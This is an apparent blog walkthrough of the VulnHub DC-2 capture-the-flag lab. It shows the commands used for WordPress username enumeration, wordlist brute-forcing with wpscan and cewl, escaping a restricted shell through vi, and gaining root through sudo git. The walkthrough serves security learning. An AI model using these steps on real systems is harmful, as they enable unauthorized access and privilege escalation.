VulnHub Walkthrough: DC-2

This machine is in continuation of a series of vulnerable machines from vulnhub.You can download it from here.If you haven't read my article on DC-1, you can find it here.

We will need to find the ip address after starting this machine.

sudo netdiscover -r 192.168.1.7

sudo netdiscover -r 192.168.1.7

The ip assigned to our machine is 192.168.1.2.We will start with a nmap scan.

We see that a web page is hosted at port 80 and a ssh is open at an unusual port 7734.

We cannot access it directly. We have to add the domain to our /etc/hosts file.

sudo nano /etc/hosts

sudo nano /etc/hosts

Now we can access the web page.

Now we will fuzz the directories using gobuster.

/wp-admin gets redirected to a wordpress login page.

We will scan it using wpscan for a list of possible usernames.

wpscan --url http://dc-2 -e u

wpscan --url http://dc-2 -e u

We found 3 usernames, will save them into a file called wpusername.Now we will use cewl to generate a list of possible passwords and save them into a file called wppass.

cewl http://dc-2 > wppass

cewl http://dc-2 > wppass

Now we will try to brute force using these lists.

wpscan --url http://dc-2 -U wpusername -P wppass

wpscan --url http://dc-2 -U wpusername -P wppass

Found hits for tom and jerry user. Lets login into the ssh port we found earlier using tom's credentials.

We get a restricted shell, where we can only run five commands.Fortunately, we can use the vi editor to escape the restricted environment.

vi
:set shell=/bin/bash
:shell

vi
:set shell=/bin/bash
:shell

Now we will reset the PATH and SHELL environment variables so that we can run all linux commands.

export PATH=/bin:/usr/bin:$PATH

export SHELL=/bin/bash:$SHELL

export PATH=/bin:/usr/bin:$PATH

export SHELL=/bin/bash:$SHELL

Now we can use the su command to switch into jerry user.

Now the only step left for us is to escalate our privileges and gain the root access.

We find that the jerry user can use the git command with sudo permissions.We will find the exploit from GTFO bins.

sudo git help add

sudo git help add

This opens an editor. We will type !/bin/bash and hit enter. We will see that we have root access.

Now all that is left for us is to traverse into the root directory and read the final flag.